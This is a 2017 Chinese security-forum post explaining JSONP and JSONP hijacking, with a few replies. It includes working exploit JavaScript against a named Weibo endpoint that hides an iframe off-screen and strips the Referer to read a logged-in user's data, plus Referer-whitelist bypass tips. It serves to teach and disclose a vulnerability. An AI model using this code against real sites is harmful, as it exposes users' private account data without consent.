[【申请转正】] 利用JSONP跨域获取信息

[复制链接]
ze7o 发表于 2017-5-17 10:47:11 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 17

本帖最后由 ze7o 于 2017-5-26 21:35 编辑

14年的文章17年才学习,很惭愧... 这篇文章写了一些自己对 JSONP跨域和安全 的理解,第一次画图。。 希望表哥多多指点
正文:

了解一下什么是JSONP:
什么是JSON:一种数据的交换格式(数据的表达形式)
什么是JSONP:将JSON请求封装进一个JavaScript函数,作为脚本发回给浏览器。客户端加载时,该脚本不受限于同源策略,函数就像其中的JSON对象一样。

更容易理解的解释就是:利用“script标签可以跨域请求"的特点来获取第三方的资源类似这样:<script src="http://verysecurebank.ro/getAccountTransactions"></script>

当我们正常访问资源时是这样:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_4f270fdae6ebb09.png

AJAX由于同源策略的限制,请求会报错:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_c4eeb786b078232.png

而JSONP将会成功获取到第三方数据:
TIM截图20170517100554.png


试着自己画了一张正常请求的图:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_b469202562f6df0.png

JSONP安全:
JSONP给跨域获取数据带来了便利,但同时也会面临一些安全问题。
JSONP劫持:客户端(浏览器)可以执行页面的任意JS。当攻击者知道了某些"不安全的"JSONP接口,就可以利用这样的接口获取用户的基本数据。
举个栗子:
页面http://www.abc.com/attack.html 中存在向接口 http://www.weibo.com/callback 发出请求并将请求结果(数据)发送回来的的恶意JS。
在用户已经登陆了weibo.com的情况下,访问接口会返回用户数据。当用户访问abc.com/attack.html时会主动向接口发送请求,并将请求的结果发送给攻击者已经写好的接收页面。

上图:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_d80157008e52e66.png


临时挖到的一个实例(漏洞已经提交微博SRC了,还没修 = =):
首先是接口地址:http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016
知道了接口地址,而且接口没有对请求方做限制。下面就很好办了。

写一个利用的JS:
function create_noref_ifr(src,script){
var iframe = document.createElement('iframe');
iframe.style.width="1000px";
iframe.style.height="1000px";
iframe.style.position="absolute";
iframe.style.top="-1000px";
iframe.style.left="-1000px";
iframe.src = 'javascript:\"<script>'+script+'</script><script src='+src+'></script>\"';
(document.body||document.getElementsByTagName('head')[0]||document.documentElement).appendChild(iframe);
}

var json_src = "http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016&_=" + Math.random();;

var script = "HelloWeibo={};HelloWeibo=function(data){var data = JSON.stringify(data);alert(data)}";

try{
create_noref_ifr(json_src,script)
}catch(error){
console.log('hello weibo');
}// create_noref_ifr函数用于创建iframe标签,接收两个参数,一个是JSONP接口,一个是要执行的JS
// 变量script是接收 JSONP接口的数据 处理为String后 alert出来

这里我已经写好了利用的页面:http://www.ze7ore.com/weibo.html  需要先登陆weibo.com后访问才能弹出信息

最后讲讲厂商的防护和防护绕过:
白名单:通常厂商会检测HTTP包中的Referer,对Referer做了白名单。
绕过1:有些厂商对Referer检测不是特别严格,当Referer为空的时候,可以绕过。 (上面写的JS,create_noref_ifr函数中使用了JS伪协议,发出的script请求中Referer是为空的)
这一条是错误的,在没有证实的情况下很抱歉写出这样的方法 绕过2:再找一个漏洞,比如任意地址跳转。这样Referer就是白名单中的域名了。

JSONP劫持的利用点:
社工?XSS打后台人员的其他网站信息?这些都要自己摸索 =。=
JSONP的安全问题不止这个,但却是最常见的。


最后谢谢审核表哥和各位表哥能看完。 文章写的很辣鸡。

文章参考知道创宇14年发表的博客:《JSONP 安全攻防技术》
参考:http://blog.knownsec.com/2015/03/jsonp_security_technic/



TIM截图20170517100554.png
TIM截图20170517100554.png
TIM截图20170517100554.png

评分

参与人数 2酒票 +6 收起 理由
sn00py + 1 表哥6
管理05 + 5 欢迎加入90!

查看全部评分

vulntor 发表于 2017-5-23 22:43:32 | 显示全部楼层

正式成员|主题 |帖子 |积分 16

楼主这段js通过外部调用执行没问题,但是直接粘贴进html的script标签里面会报错。。js很奇妙啊
Blck 发表于 2017-6-30 16:01:00 | 显示全部楼层

正式成员|主题 |帖子 |积分 180

LZ是外国人?翻译的吧,讲的是美式中文。
 楼主 ze7o 发表于 2017-7-24 13:56:23 | 显示全部楼层

正式成员|主题 |帖子 |积分 17

RE: 利用JSONP跨域获取信息

Blck 发表于 2017-6-30 16:01
LZ是外国人?翻译的吧,讲的是美式中文。

这是要吐槽我中文说的烂?
快速回复 返回顶部 返回列表